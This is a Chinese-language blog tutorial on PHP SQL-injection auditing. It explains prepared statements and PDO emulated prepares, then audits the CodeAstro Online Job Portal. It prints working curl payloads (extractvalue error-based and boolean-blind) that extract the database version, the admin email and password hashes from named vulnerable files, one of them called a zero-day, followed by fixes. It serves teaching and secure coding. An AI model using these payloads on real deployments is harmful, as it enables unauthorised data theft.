php代码审计和零日漏洞的发现实战以及思路(主要是sql注入)

我们先探讨一下注入的本质是什么,注入的本质其实就是数据库的连接(可控的外部数据,和 SQL 语句的语法结构,拼接成了一条完整 SQL 字符串,交给数据库解析器执行)。从安全审计的角度讲防护方法基本就2种,第一种是安全执行方式预编译,第二种数据处理方式,比如加各种方式强制转换输入类型。
下面我们来看一段代码
PixPin_2026-10-08_12-23-32
id值拼接,用户值输入可控。
执行点mysqli_query($db_config,$sql);
没有任何的数据转义,预编译进行的一个安全写法的,所以这是存在sql注入的
$sql ="SELECT * FROM users WHERE id=$user_id";
变成$sql ="SELECT * FROM users WHERE id=int($user_id)";
这个时候呢,int导致了强类型直接变成了数字类型,
那么这个时候,虽然用户输入的值就可控,但是中间执行的过程发生了转义,接变成了数字类型,所以这个地方就不存在注入了,也就是不完全可控

sql注入关注的点:

1.用户输入的值是否可控
2.中间执行的过程是否进行了数据处理,比如int的类型转义或者安全的执行方式预编译

代码审计预编译写法大部分情况看问号,这个不管php还是java基本都是这样,当然也有占位符的特殊情况。
php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id=? AND status=?"); $stmt->bind_param("is", $id, $status); // 按顺序绑定
java
PreparedStatement ps = conn.prepareStatement( "SELECT * FROM users WHERE id=? AND status=?" );
ps.setInt(1, id); // 第1个问号
ps.setString(2, status); // 第2个问号

原因:
// 预编译执行流程:
prepare("SELECT * FROM users WHERE id=?") // 1. 先编译SQL结构
execute([$_GET['id']]) // 2. 再传数据
// 用户输入永远不会被当作SQL代码解析
// 输入: "1 OR 1=1" → 被当作纯字符串 "1 OR 1=1" 去匹配id列

php中常见的sql语句执行方式
1.mysql_query
PixPin_2026-10-08_15-52-13

2.mysqli
支持预编译
(1).mysqli_query:直接执行 SQL 字符串(拼接则存在注入)

// ❌ 危险,变量直接拼接
$user_id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$user_id";
$res = mysqli_query($conn, $sql);

预防手段
1)数据处理方式:强类型转换(仅数字字段)

$user_id = (int)$_GET['id']; // intval强转
$sql = "SELECT * FROM users WHERE id=$user_id";
$res = mysqli_query($conn, $sql);

2)数据处理方式:手动转义 mysqli_real_escape_string(字符串场景)

$name = mysqli_real_escape_string($conn, $_GET['name']);
$sql = "SELECT * FROM users WHERE name='$name'";
$res = mysqli_query($conn, $sql);

缺點:依赖连接字符集,GBK 宽字符可以绕过;属于数据清洗,不是预编译。
(2) mysqli prepare 预编译(安全执行方案,推荐)

3.PDO
(1)PDO::query () 直接执行拼接字符串(高危,和 mysqli_query 一致)

// ❌ 危险写法,变量拼接
$user_id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$user_id";
$stmt = $pdo->query($sql);

(2)PDO::prepare () 预编译

// ✅ 问号占位(位置绑定)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$user_id]);

// ✅ 命名占位符 :key(可读性更好)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id");
$stmt->execute(['id' => $user_id]);

但是PDO 默认不是服务端预编译
PDO::ATTR_EMULATE_PREPARES=true(默认开启),是 PHP 驱动在本地做字符串替换 + 转义,属于模拟预编译(伪预编译)。这种场景下 GBK 宽字符依旧可以绕过
只有手动关闭模拟预编译,才会下发给 MySQL 服务端做真正预编译:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

大致审计思路:

1.全局搜索的3大常见的sql语句执行方式(mysql_query,mysqli,PDO),查找变量直接拼接 SQL 的位置(注意php版本和其他信息,比如php7.0往上,就可以直接不用搜mysql)
2.追踪变量溯源:看 SQL 里拼接的变量,是否可以外部可控,有没有过滤 / 转义 / 预编译
3.边界测试:单引号、闭合、报错注入、布尔盲注、时间盲注测试
4.绕过测试:宽字符、过滤函数绕过
5.构造 POC,验证漏洞

下面进入实战案例
这次以Online Job Portal (CodeAstro) 为例子,后面会介绍零日漏洞的刷取思路
源码下载地址在人家官网往下翻,时间长了,链接我也忘了。
打开项目

PixPin_2026-10-08_17-06-39
按照方法1全局搜索,只有PDO有搜索结果
PixPin_2026-10-08_15-44-46
常用快捷键查看,参考筆記:https://share.mubu.com/doc/mRA8agKmME
1.下面查看第一处PixPin_2026-10-08_17-14-31

(1)第一段统计 SQL:$conn->query()

$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM users WHERE UPPER(type) = 'JOB SEEKER'");
SQL 语句硬编码,没有拼接任何外部可控变量,字符串'JOB SEEKER'写死在 SQL 里。
query()虽然是直接执行 SQL,但这里没有引入用户输入,不存在注入风险。

(2)分页查询部分:PDO 预编译命名占位符

$stmt = $conn->prepare("SELECT ... LIMIT :limit OFFSET :offset");
$stmt->bindValue(':limit',  $limit,  PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);

使用 PDO prepare预编译 + 命名占位符 :limit / :offset,不是字符串拼接。
bindValue 指定参数类型 PDO::PARAM_INT,强制数据库层把参数当成数字,进一步加固。
LIMIT 和 OFFSET 的值通过占位符传入,用户输入不会被解析成 SQL 语法。

2.下面查看第2处

$stmt = $conn->prepare("
            SELECT id, mypassword 
            FROM admins 
            WHERE adminname = :adminname 
            LIMIT 1
        ");
        $stmt->execute([
            ':adminname' => $_SESSION['adminname']
        ]);
        $admin = $stmt->fetch(PDO::FETCH_ASSOC);

        if (!$admin || !password_verify($current, $admin['mypassword'])) {
            $error = "Current password is incorrect.";
        } else {

            $newHash = password_hash($new, PASSWORD_DEFAULT);

            $update = $conn->prepare("
                UPDATE admins 
                SET mypassword = :pass 
                WHERE id = :id
            ");
            $update->execute([
                ':pass' => $newHash,
                ':id'   => $admin['id']
            ]);

            $success = "Password updated successfully.";
            $forceLogout = true;
        }
    }
}

两段 SQL 全部使用 PDO prepare + 命名占位符:

1.查询语句:WHERE adminname = :adminname,绑定的值来自$_SESSION['adminname'](会话数据,不是外部 GET/POST 直接输入,就算可控,也是走预编译参数绑定)
2.更新语句:SET mypassword = :pass WHERE id = :id
:pass 绑定的是 password_hash() 生成的密码哈希字符串,不是原始用户输入;
:id 来自上一步查询出来的$admin['id'],数据库返回值。

WHERE adminname = :adminname —— PDO 命名占位符写法

基础解释

$stmt = $conn->prepare("
    SELECT id, mypassword 
    FROM admins 
    WHERE adminname = :adminname 
    LIMIT 1
");
$stmt->execute([
    ':adminname' => $_SESSION['adminname']
]);

:adminname 叫做命名占位符(named placeholder),是 PDO 预编译的其中一种语法。

特征:以冒号 : 开头,后面自定义名字,比如 :id、:pass、:username。

和问号占位符对比(两种预编译,效果一样,只是写法不同)

  1. 命名占位符(PDO独有,mysqli不支持)
$sql = "SELECT * FROM admins WHERE adminname = :adminname AND id = :id";
$stmt->execute([
    ':adminname' => $name,
    ':id' => $id
]);

优点:可读性好,参数顺序不用死记,参数多的时候不容易乱。

  1. 问号占位符(PDO、mysqli都支持)
$sql = "SELECT * FROM admins WHERE adminname = ? AND id = ?";
$stmt->execute([$name, $id]);

优点:通用,PHP、Java JDBC预编译都是问号风格。

注意:问号占位没有名字,严格按照数组顺序依次绑定。

底层执行流程(对应我们前面讲的注入原理)

  1. prepare($sql):把这条SQL模板发给MySQL,数据库解析SQL语法树。
    数据库此时就知道::adminname 这个位置只能放数据,不能是SQL语法。
  2. execute(数组):单独把数组里的值传给数据库,不会再次解析SQL语法。
    用户输入哪怕是 payload ' OR 1=1 -- ,只会当成字符串值去匹配 adminname 字段,不会逃逸构造SQL语句 → 防SQL注入。

重点审计规则

只要满足两点:

  1. prepare 里面的SQL模板字符串没有拼接外部变量;
  2. 动态值全部通过命名占位符/问号占位符,在execute里传入。
    不存在SQL注入。

错误写法(模板拼接变量,预编译失效)

// 不要混淆!这个依然注入!
$name = $_GET['name'];
$sql = "SELECT * FROM admins WHERE adminname = '$name'";
$stmt = $conn->prepare($sql); // prepare拿到的已经是拼接好污染后的SQL

补充小细节

  1. PDO命名占位符不允许同一个占位符在一条SQL写多次(部分驱动有坑),重复变量建议用多个不同命名占位符。
  2. 占位符只能用于字段值。表名、字段名、ORDER BY 的排序字段,不能用命名占位符,这是数据库底层限制。
// 无效!不能用占位符代替字段名
$sql = "SELECT :col FROM admins WHERE id=:id";

:col 不会被解析成字段名,只会当成字符串常量查询。这种场景只能白名单。

3.下面查看第3处

// Totals (case-insensitive type match)
$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM users WHERE UPPER(type) = 'JOB SEEKER'");
$totalRecords = (int)$totalStmt->fetch(PDO::FETCH_OBJ)->total;
$totalPages   = max(1, (int)ceil($totalRecords / $limit));

// Clamp page if it overshoots
if ($page > $totalPages) {
  $page   = $totalPages;
  $offset = ($page - 1) * $limit;
  $counter = $offset + 1;
}

// Page of job seekers
$stmt = $conn->prepare("
  SELECT id, fullname, username, email, contact
  FROM users
  WHERE UPPER(type) = 'JOB SEEKER'
  ORDER BY id ASC
  LIMIT :limit OFFSET :offset
");
$stmt->bindValue(':limit',  $limit,  PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
$jobSeekers = $stmt->fetchAll(PDO::FETCH_OBJ);
  1. 第一段统计SQL:$conn->query()
$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM users WHERE UPPER(type) = 'JOB SEEKER'");
  • SQL语句硬编码,没有拼接任何外部可控变量,字符串'JOB SEEKER'写死在SQL里。
  • query()虽然是直接执行SQL,但这里没有引入用户输入,不存在注入风险。
  1. 分页查询部分:PDO预编译命名占位符
$stmt = $conn->prepare("SELECT ... LIMIT :limit OFFSET :offset");
$stmt->bindValue(':limit',  $limit,  PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
  • 使用PDO prepare预编译 + 命名占位符 :limit / :offset,不是字符串拼接。
  • bindValue 指定参数类型 PDO::PARAM_INT,强制数据库层把参数当成数字,进一步加固。
  • LIMIT 和 OFFSET 的值通过占位符传入,用户输入不会被解析成SQL语法。

4.下面查看第4处

  $chk = $conn->prepare("SELECT 1 FROM categories WHERE id = :id LIMIT 1");
  $chk->execute([':id' => $id]);
  if (!$chk->fetch()) {
    header("Location: " . ADMINURL . "/categories-admins/show-categories.php?error=" . urlencode("Category not found."));
    exit;
  }

  $del = $conn->prepare("DELETE FROM categories WHERE id = :id");
  $del->execute([':id' => $id]);

还是没有,原因同上
5.下面查看第5处

$totalStmt    = $conn->query("SELECT COUNT(*) AS total FROM categories");
$totalRecords = (int)$totalStmt->fetch(PDO::FETCH_OBJ)->total;
$totalPages   = max(1, (int)ceil($totalRecords / $limit));
if ($page > $totalPages) { // clamp overflow page param
  $page   = $totalPages;
  $offset = ($page - 1) * $limit;
  $counter = $offset + 1;
}

// Fetch page
$stmt = $conn->prepare("SELECT id, name FROM categories ORDER BY id DESC LIMIT :limit OFFSET :offset");
$stmt->bindValue(':limit',  $limit,  PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
$categories = $stmt->fetchAll(PDO::FETCH_OBJ);

硬编码和預編譯
直接跳到有注入的地方,不然太慢了。

VULN-01: SQL 注入 — 数据库任意数据提取

属性 值
文件 users/application_status.php 第 63 行
类型 CWE-89 SQL Injection
CVSS 9.1 (Critical)
阳性验证 ✅ 已确认 — 提取到 MySQL 版本、数据库名、管理员密码 hash

漏洞代码:

 if (isset($_GET["id"])) {
        $jobId = $_GET["id"];
    
        // retrieveing the applicant details based on $jobId from the database
        $getApplicant = $conn->query("SELECT * FROM job_applications WHERE job_id = '$jobId'");
        $getApplicant->execute();
        $applicant = $getApplicant->fetch(PDO::FETCH_OBJ);
    
        // to check if an applicant with the given job ID exists
        if (!$applicant) {
            $errorMessage = "Applicant not found.";
        }

验证过程:

# 提取数据库版本
curl "http://localhost/ojp/users/application_status.php?id=1'+AND+extractvalue(1,concat(0x7e,version(),0x7e))--+-"
# → ~5.7.26~ ✅

# 提取当前数据库
curl "...?id=1'+AND+extractvalue(1,concat(0x7e,database(),0x7e))--+-"
# → ~ojpcodeastro~ ✅

# 提取管理员邮箱
curl "...?id=1'+AND+extractvalue(1,concat(0x7e,(SELECT+email+FROM+admins+LIMIT+0,1),0x7e))--+-"
# → ~admin@mail.com~ ✅

# 提取管理员密码 hash
curl "...?id=1'+AND+extractvalue(1,concat(0x7e,(SELECT+SUBSTR(mypassword,1,30)+FROM+admins+LIMIT+0,1),0x7e))--+-"
# → ~$2y$10$96YcvidLzEoi3Qp5U6232e5~ ✅

影响: 未认证攻击者可提取全部数据库数据,包括管理员和用户密码 hash。


VULN-02: SQL 注入 — 注册表单

属性 值
文件 auth/register.php 第 55 行
类型 CWE-89 SQL Injection
CVSS 8.6 (High→Critical)
阳性验证 ✅ 已确认

漏洞代码:

$validate = $conn->query("SELECT * FROM users WHERE email = '$email' OR username = '$username'");

验证过程:

# 逻辑注入 — username = 'OR'1'='1 使查询返回所有用户
curl -X POST ".../register.php" -d "username=%27OR%271%27%3D%271&email=inj@test.com&..."
# → alert('email or username is aleardy taken') ✅

# 报错注入 — email = a' 触发 SQL 语法错误
curl -X POST ".../register.php" -d "email=a%27%40test.com&..."
# → SQLSTATE Syntax error ✅

注意: email 字段限制 22 字符、username 限制 15 字符,但足够构造报错注入/盲注 payload。


VULN-03: SQL 注入 — Admin 删除职位 (附带认证绕过)

属性 值
文件 admin/jobs-admins/delete-jobs.php 第 32 行
类型 CWE-89 SQL Injection
CVSS 8.1 (High)
阳性验证 ✅ 已确认

漏洞代码:

$id = $_GET['id'];
$delete = $conn->prepare("DELETE FROM jobs WHERE id = '$id'");
// prepare() 毫无意义 — $id 已直接拼接在 SQL 字符串中!

验证:

curl "http://localhost/ojp/admin/jobs-admins/delete-jobs.php?id=0'+AND+extractvalue(1,concat(0x7e,database()))--+-"
# → SQLSTATE XPATH 报错 ✅

变量$id在传入 prepare 之前,已经拼进 SQL 字符串,prepare 拿到的是已经闭合污染的 SQL,预编译完全无效,依旧存在 SQL 注入。
但是为什么完全无效呢?

核心一句话

prepare("DELETE FROM jobs WHERE id = '$id'")
在调用 prepare 之前,PHP 已经把 $id 的内容拼进 SQL 字符串里了。
prepare 收到的不是“模板”,而是一条已经被用户payload污染、完整闭合好的SQL语句。预编译的核心机制根本没有机会生效。

拆解完整执行流程(VULN-03例子)

原始漏洞代码:

$id = $_GET['id'];
$delete = $conn->prepare("DELETE FROM jobs WHERE id = '$id'");

假设传入 payload:id=0' AND extractvalue(1,concat(0x7e,database()))-- -

  1. PHP 先做字符串变量插值:
$sql_str = "DELETE FROM jobs WHERE id = '0' AND extractvalue(1,concat(0x7e,database()))-- -'";

这一步发生在PHP语言层面,还没发给数据库。单引号已经被攻击者用来闭合,注入语句已经拼接完成。

  1. 然后把拼接完成的污染SQL字符串传给 prepare($sql_str)
  2. MySQL 收到这一整条SQL,直接解析整条语句的语法,不存在分离模板 + 单独传参数这个过程。

真正安全预编译的逻辑:
SQL模板固定不变,里面不带外部变量,只留占位符。

// 模板是写死的字符串,没有变量拼接
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");
// 数据单独传递,不会拼入SQL模板
$delete->execute([':id' => $id]);

prepare拿到的是模板,execute单独传数据,数据库区分「SQL语法」和「数据」。

为什么很多人踩这个坑?

误以为只要代码里出现 prepare() 函数,就等于预编译防护。
prepare() 只是一个函数,它不会自动帮你隔离变量。它只会把你传给它的字符串当成SQL模板。

  • 传给prepare的字符串提前拼接了用户可控变量 → 预编译失效,存在注入
  • 传给prepare的字符串是固定模板,只有占位符 → 正常预编译,防注入

类比理解(很形象)

  • 安全预编译:你先给数据库一张填空试卷(SQL模板,空位置用占位符标记),之后单独提交答案。数据库知道答案只能填在空格里,答案不能修改试卷本身。
  • 漏洞写法:你提前把答案直接手写进试卷里,再把整张写满的纸交给数据库。此时试卷本身已经被篡改,再交给prepare也没用。

补充区分:PDO模拟预编译在这里有没有影响?

这里和ATTR_EMULATE_PREPARES无关。
因为还没进入预编译参数绑定环节,SQL模板在PHP侧就已经被污染,不管是模拟预编译还是服务端原生预编译,都救不了。

判断

看prepare括号里面的双引号/单引号,有没有PHP变量插值。
有变量拼接 → 假预编译,注入风险;
只有占位符(? / :name) → 真预编译。

VULN-03 原始漏洞回顾

文件:admin/jobs-admins/delete-jobs.php
漏洞代码:

$id = $_GET['id'];
// 错误:变量先拼进SQL字符串,再丢给prepare,预编译完全失效
$delete = $conn->prepare("DELETE FROM jobs WHERE id = '$id'");

修复后完整代码

<?php
// 假设前面已经初始化PDO连接 $conn
// 开启服务端原生预编译(可选加固,推荐)
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$id = $_GET['id'];

// 关键点:SQL模板固定,只放命名占位符 :id,**不拼接任何外部变量**
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");
// 参数单独传入,数据不会参与SQL语法拼接
$delete->execute([
    ':id' => $id
]);

// 可选:获取影响行数,判断是否删除成功
$affected = $delete->rowCount();
if ($affected > 0) {
    echo "删除成功";
} else {
    echo "未找到对应数据";
}
?>

也可以用问号占位符版本,效果完全一致:

$delete = $conn->prepare("DELETE FROM jobs WHERE id = ?");
$delete->execute([$id]);

修复版本完整执行流程(分步拆解)

假设攻击者传入 payload:
id=0' AND extractvalue(1,concat(0x7e,database()))-- -

  1. PHP接收输入
    $id = $_GET['id'];
    $id 的值:0' AND extractvalue(1,concat(0x7e,database()))-- -

此时只是一个普通字符串变量,还没有拼入SQL语句

  1. prepare 发送SQL模板给MySQL
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");

传给MySQL的SQL模板:DELETE FROM jobs WHERE id = :id

  • MySQL解析这条SQL的语法树
  • MySQL标记::id 这个位置只能接收纯数据,不能作为SQL语法
  • 模板固定,不会带入攻击者payload
  1. execute() 将参数单独传递给数据库
$delete->execute([':id' => $id]);

PHP把$id的字符串单独作为参数发给MySQL,不再拼接进SQL模板。
MySQL收到参数内容:0' AND extractvalue(1,concat(0x7e,database()))-- -

  1. 数据库处理逻辑
    MySQL把传入的整串payload全部当成字面量字符串,去和jobs表id字段做值匹配。
    相当于执行语义:

查找 id 等于字符串 0' AND extractvalue(1,concat(0x7e,database()))-- - 的记录,然后删除。

因为id一般是整型,数据库会尝试把这个长字符串转数字,最终得到0。
只会尝试删除id=0的行,payload里的单引号、AND、extractvalue 全部不会被解析成SQL语法,注入payload失效。


对比漏洞版执行流程(方便对照记忆)

payload:id=0' AND extractvalue(1,concat(0x7e,database()))-- -

  1. PHP字符串插值:把$id直接拼进SQL
DELETE FROM jobs WHERE id = '0' AND extractvalue(1,concat(0x7e,database()))-- -'
  1. 把拼接完成的整条SQL送入prepare
  2. MySQL拿到完整SQL,直接解析整条语句,注入逻辑执行成功

补充加固小建议

  1. id是数字,可以在绑定的时候指定参数类型,进一步限制:
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");
$delete->bindValue(':id', $id, PDO::PARAM_INT);
$delete->execute();

PDO::PARAM_INT 告诉数据库,这个参数必须按数字处理。

  1. 增加权限校验:这个是管理员删除接口,必须校验管理员会话,否则即使防注入,未授权访问依然可以删数据。
// 增加会话鉴权,放在最前面
session_start();
if (!isset($_SESSION['adminname'])){
    exit("无权限");
}
  1. 增加输入校验:is_numeric 或者强转,作为多层防御(纵深防御)
$id = $_GET['id'];
if (!is_numeric($id)){
    exit("非法ID");
}
$id = (int)$id;

核心区别

  • 漏洞版:先拼接SQL,再prepare → SQL语法被污染
  • 修复版:先prepare固定SQL模板,execute单独传数据 → 数据永远不会变成SQL语法

VULN-02 零日漏洞。
下图里ai喂的是03,实际都是同一个漏洞PixPin_2026-10-08_19-50-02
PixPin_2026-10-08_19-50-10
PixPin_2026-10-08_19-50-26
详细分析

$validate = $conn->query("SELECT * FROM users WHERE email = '$email' OR username = '$username'");
$validate->execute();

if($validate->rowCount() > 0) {
    echo "<script>alert('email or username is aleardy taken')</script>";   // 状态①
} else {
    // 执行注册 INSERT ...                                            // 状态②
}

关键:这段代码产生两种截然不同的响应:

    rowCount() > 0(查询命中)→ 弹 "already taken"
    rowCount() = 0(查询无结果)→ 进入注册流程(报 fullname 错误)

3.2 注入后 SQL 的真假

攻击者提交 email = ' OR '1'='1,SQL 变成:
sql
复制

SELECT * FROM users WHERE email = '' OR '1'='1' OR username = 'zzA'

'1'='1' 永远为真 → 整个 WHERE 恒真 → 每一行都匹配 → rowCount() > 0 → 状态①

攻击者提交 email = ' OR '1'='2:
sql
复制

SELECT * FROM users WHERE email = '' OR '1'='2' OR username = 'zzA'

'1'='2' 永远为假,email 和 username 也不匹配 → 0 行匹配 → rowCount() = 0 → 状态②
3.3 差分信号
注入条件 SQL 逻辑值 页面响应 攻击者观察

' OR '1'='1	真	"already taken"	看到 A
' OR '1'='2	假	fullname 错误	看到 B

A ≠ B,这就是差分信号。 攻击者从此掌握了一个"真假开关"。

装逼结束,进入正事,教你们怎么挖零日PixPin_2026-10-08_20-02-36
由于上下文长度的原因,其实就是懒得不想写了。就是之前的审计审出来了,至少有五个以上的零日漏洞,本次就不展示了。
下面是agent的代码审计思路
PixPin_2026-10-08_20-06-23

posted @ 2026-10-08 20:08  你好,星  阅读(141)  评论(0)    收藏  举报